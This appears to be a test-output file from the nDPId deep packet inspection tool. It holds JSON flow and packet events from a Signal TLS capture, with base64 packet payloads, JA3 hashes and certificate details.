+00840{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":233,"source":"signal.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1569051264090,"flow_last_seen":1569051264369,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57023,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01834{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":369938,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"xGGLNYKpxiwDYGpkCABFAARCYbAAAO4GfXsjqQMowKgCEQG73r+o1id56c+WT4AYAG7NNwAAAQEICmQVQHcoVZL7ZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EEKpzMfAzPchd0JZSlcwPFvtFBvCqGpfgScKBQqZ\/xzFbCCpOYAXMNG9Rgec\/86sIdMQszMG2fCcBB7wjlosC3sQYBAQCE3r9OzWEvUCQ08VEMJ1X9rtgZHmd0iDDaKAflkMrWL9ShH+vJjHPZAfjkyd9co\/FP7oB43L6REUtrHPu7ZWq1EWidvWB0\/y5MlNbmIgc9sQDoJey5CG\/8U9ijHS4lN0bKoBaWAVoxLxcicbv\/yWJWB9AeztCIBGJG+BpisxgdHcAvvXqZMSTnCgwMkxYuVhG\/TFdujrKgFA+jEziyNmOKQPmNyQ8bfYHKDGCJAREmx5hHgIFdzdJCVZv1N1RxDkItk95piHbGiFBHXi6myS8Km0LO3\/TXDqgXKehMuwrvZfRY8ItmNL621VUldVLpFIzkuXeyZFv0fUbAQPcfqjzlFgMDAAQOAAAA"} +01228{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":234,"source":"signal.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":7,"flow_first_seen":1569051264090,"flow_last_seen":1569051264369,"flow_tot_l4_data_len":3239,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":462,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57023,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00424{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":371125,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0jjEAAO4GVQgjqQMowKgCEQG73sEV2c5GmCCNkoAQAG5ClwAAAQEICmQVQHcoVZL8"} +00426{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":371564,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN6\/Abvpz5ZPqNYrh4AQA\/fz+AAAAQEICihVk2lkFUB3"} +00425{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":371989,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0C\/kAAO4G10AjqQMowKgCEQG73sBFykuOjtdGY4AQAG7l1wAAAQEICmQVQHcoVZL8"} +02360{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":373131,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUjjIAAO4GT2cjqQMowKgCEQG73sEV2c5GmCCNkoAQAG6iUgAAAQEICmQVQHcoVZL8FgMDAGICAABeAwPhTvJij0GGExhjGkeCX4\/eZO+MLxN\/CXbeunzBcI0XniAinrKyytW4344mV\/s65tnfG\/0k8ZRr+xf+ZuX00iTDx8AvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9w"} +00840{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":238,"source":"signal.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1569051264093,"flow_last_seen":1569051264373,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57025,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01829{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":373258,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"xGGLNYKpxiwDYGpkCABFAARCjjMAAO4GUPgjqQMowKgCEQG73sEV2dPmmCCNkoAYAG466QAAAQEICmQVQHcoVZL8ZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EEC\/PlgwytI3vpsSej2FF5fbWDIIJMf6fL98CkUslLmixi4P6n41y62BkhZK9KPPgxURpzV5msqtQWASxJ3\/MEXwYBAQAXtZ2x2i2jQZwQy8NRUujyA6ELtnUYFlnwfQiYZOFYNIc4p9thtQasma\/GWOrRaf69vVBYPlBYcfcleztJQyKG3K8LUlrP8IMHeXSg483jkQtKyaXW8EpmPUney3uGTOhpfLKGV+iJounjZRP7h5AzftAVYxmhPTo3ltPkMLg4oMqotBVh378hatFt4kG1+laiiwNli9D0HSSd+alRcg1PVe8Hw581aAQmViLFGUgyz5q0utZIe3lG7LfomtcuRwhELEaZqTAwSnfVBwxdCYOSut84vga3jRVyiKZu8MiYLEbTc3h9Qw8TPLeHxepBb32QbIF6PkmTyvYGJEBMkt5xFgMDAAQOAAAA"} +01228{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":239,"source":"signal.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":7,"flow_first_seen":1569051264093,"flow_last_seen":1569051264373,"flow_tot_l4_data_len":3239,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":462,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57025,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +02359{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":373882,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUC\/oAAO4G0Z8jqQMowKgCEQG73sBFykuOjtdGY4AQAG45ZgAAAQEICmQVQHgoVZL8FgMDAGICAABeAwNpJs\/GY5HYRjqt9IN2kbVuXOMzCNjyfum\/cYad8+9q2iA0csiw9WuvqD+s5HcN2vlKlingfAxRPD37i5tofd8cDsAvAAAW\/wEAAQAACwAEAwABAgAQAAUAAwJoMhYDAwfnCwAH4wAH4AAD5zCCA+MwggLLoAMCAQICAhAYMA0GCSqGSIb3DQEBCwUAMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMB4XDTE5MDIxNTE3MzgxN1oXDTI5MDMxMjE4MjAyMFowgZAxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMR0wGwYDVQQKDBRPcGVuIFdoaXNwZXIgU3lzdGVtczEdMBsGA1UECwwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxLjAsBgNVBAMMJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsyBG10UW3wKLLz5OJmoB1s7B4cDs7uzp+xAOMcalYh2zeKMeI5eS4fZrup1VtHgb8XPc0CjxtIo4ECTf0led4xcI6qra+CWE7B8yrOm4B5WB+rFt1x8Xj4+SRSkkl1mO5SjQElZeSpEpoWomCLRDxMb0qDwfWzcLqYsWeQHtIiBPzWEAOsmV6UE2NHQVNJdatKUHl8y16oCXrU4c0l6+o+bKDTtiskaDATWyONnz1GL1kQjlH8lDSNn296rLmQ\/kEO2CsZeYYAwVPKDQjTfNLDVo4YeZxRDlho+ZcZdamE5Kd7FiSRmA+nLkAydQ60ijWw1Fp7JSHvsL2X08ffpJtAgMBAAGjSDBGMEQGA1UdEQQ9MDuCJXRleHRzZWN1cmUtc2VydmljZS53aGlzcGVyc3lzdGVtcy5vcmeCEnNlcnZpY2Uuc2lnbmFsLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAKWsuR7z3DD\/hxNr0t1jsS\/8oBtaP6uM3Dv1WDnwO6tsohTdhQxfJRHMBKnAzAM9voRiv314toGiGKun6d3y\/TrcyK15lDQgdiPT6biOI4+sVLREXnDl0mhxNgt0yN7ewiHL4WxlNTqyYgy21RRxPEQHrbCScndmFrswcHfVN6FkuGTc45cEC0zoiaaAKUipjJUOjlX4Ha+q0UyNaHMPquP8A8XGBIYi6DJY8uNgP1q8F88lDA5HALWR045FALki4r5+N+Jy3GF2pTFCFvLEDS5LCk6lR9ujCktrdh0VbOHMA35rRs5lki24EQZf\/DqrquVyyzRFCDN9TVXAVBaSoSQAD8zCCA+8wggLXoAMCAQICCQCJui2rSuTzYjANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xHTAbBgNVBAoMFE9wZW4gV2hpc3BlciBTeXN0ZW1zMR0wGwYDVQQLDBRPcGVuIFdoaXNwZXIgU3lzdGVtczETMBEGA1UEAwwKVGV4dFNlY3VyZTAeFw0xMzAzMjUyMjE4MzVaFw0yMzAzMjMyMjE4MzVaMIGNMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzEdMBsGA1UECgwUT3BlbiBXaGlzcGVyIFN5c3RlbXMxHTAbBgNVBAsMFE9w"} +00840{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":240,"source":"signal.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":6,"flow_first_seen":1569051264091,"flow_last_seen":1569051264373,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57024,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +01834{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":374011,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"xGGLNYKpxiwDYGpkCABFAARCC\/sAAO4G0zAjqQMowKgCEQG73sBFylEujtdGY4AYAG47bQAAAQEICmQVQHgoVZL8ZW4gV2hpc3BlciBTeXN0ZW1zMRMwEQYDVQQDDApUZXh0U2VjdXJlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUlgaTggQxdIuKtneIwF5El1BqW3lroFT0Ao2i+qg\/UAzsXltWn73z6POt4ugq6tSg8R6Qd+hMM1XI8C5BUyDHqO7fbNRUKJQLd5hK1dlNL4nulXrPso+oK0n8cCAwHHbCpiNGtUkAmZa90NbXBwJAChUcWDWsAA8qbOQfmZqnIH+ud010uf9CDz0C6HC5\/Bli8DmDZ2HwbyCygzCLZmU7RG7nHYoMRAPZnyL7xwAxG7Xi7VYMAZvUeb1b7cKw+ggsSN6YB+xB+5DD9Dnfd8C4rL59coR2OxbmJa5GKnZDL1lKyqAElcOI2+vb2niQlHVPhwqFzkj9T0HC+lnpzQhwIDAQABo1AwTjAdBgNVHQ4EFgQUAYsY8T\/7ORlEboWGvpRlMqcyPJAwHwYDVR0jBBgwFoAUAYsY8T\/7ORlEboWGvpRlMqcyPJAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAfh6+IQueptC7yQLtUSujbjw20zBDe\/4zKIxR8R+D91zxX7qY0fm5A6tKTzlOiYyMZ6w9Vw\/xFZk02k1WOYjoXsr+1MyTnn29qSznParLryOH52hEofW4c5Z\/i18bQq0TxoZMQNSDCKNyf7NlhfylWGcnIrum+LmyfdVzwLgTWcCJroO\/7K1r26ZNIaugOs9eNFk1UirSRuxD+NZCXv6BeLrGOSeyz5MSty1szCZ2+RCCQ5kb8h\/KckcFoOkJuqohhWiOJy\/EFOC2tcdnp+Axl0WizD0cIxCzYED6HUd\/M6AjLgPIB2X2WGKGew+0NcDVIlR3MbhaxHgWmCWyxK8C1RYDAwFNDAABSQMAF0EEhqRGI2uPZEQqqs\/NKhZ8VQXts4kh1oPGWXWuR\/wD6nE7bNc4p6EPKJtmOi2EfpKHXE\/F5fwr3J1Q8Z\/6xd9FLgYBAQCRwR7c+DPgPmTyL4aCGhwuEKNygTnjioQOqmXv8Puvd7LCYFQxMQRHPfwpoyJJ00o4SldbbfX0v3hTSWiBjNpPCnWFRor4GR3Fzn6cC4xMIydcKXyFIMmKq\/PMRvKb10BMPytcFTtUWgs1K0AZK5t6PuizWuOMcpX6WhhiQeYaFLoTwbIcNYIL5bNCFi0uaVwTro5a7frJwYWkNhMBHE3\/AU0kwnfs3OePzhTb8FtON0GKTZeokG0ZBf5UMIUJZRGTGP\/4daXmWBavlaHIXpWuxFmTUpMCcrYa93IFs94OJQiKZqkvvUdhAmm3dNy8E8p4p3qTxtVX2u3VQSvqfS9jFgMDAAQOAAAA"} +01228{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":241,"source":"signal.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":7,"flow_first_seen":1569051264091,"flow_last_seen":1569051264374,"flow_tot_l4_data_len":3239,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":462,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"35.169.3.40","src_port":57024,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Signal","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"textsecure-service.whispersystems.org","server_names":"textsecure-service.whispersystems.org,service.signal.org","ja3":"6725ca90906e1036febcbfd464e2e326","ja3s":"1089ea6f0461a29006cc96dfe7a11d80","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=California, L=San Francisco, O=Open Whisper Systems, OU=Open Whisper Systems, CN=TextSecure","issuerDN":"C=US, ST=California, O=Open Whisper Systems, OU=Open Whisper Systems, CN=textsecure-service.whispersystems.org","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2","fingerprint":"5E:9E:63:F5:69:45:C7:DC:E6:4D:26:68:36:7E:C2:68:DB:02:60:8B"}} +00425{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":374852,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7BAbuYII2SFdnX9IAQA\/c08AAAAQEICihVk2xkFUB3"} +00425{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":375318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGUTrAqAIRI6kDKN7AAbuO10ZjRcpVPIAQA\/fYLwAAAQEICihVk2xkFUB4"} +00597{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":443934,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGULzAqAIRI6kDKN6\/Abvpz5ZPqNYrh4AYBAB0uwAAAQEICihVk69kFUB3FgMDAEYQAABCQQQvIQtTC3wsLDZURcqy6fud3o3cmduBgrSZYhjyE1mtUup0j1FMZ+yIK86HeaJrZEboPP6ftAA12sDFzQ\/cLMiYFAMDAAEBFgMDACgAAAAAAAAAAGhromIIj7FF2zqBnkRGnCJDWAcm3IGLGUhi2Ze+vRhr"} +00596{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051264,"pkt_ts_usec":447873,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"xiwDYGpkxGGLNYKpCABFAACyAABAAEAGULzAqAIRI6kDKN7BAbuYII2SFdnX9IAYBADhWQAAAQEICihVk7NkFUB3FgMDAEYQAABCQQQbnOCcdHPh2bSIqYEk8Yd36sVuiI2ezOOpv1Rw83\/6kSm5XFtYDR9ygWpPUgmxgwHmFwgzdyc5akrdkr2mXHw1FAMDAAEBFgMDACgAAAAAAAAAAJ9fbfokk2CdONkzxd21ov4oOgj1oocFkijBLTVGFpfo"} 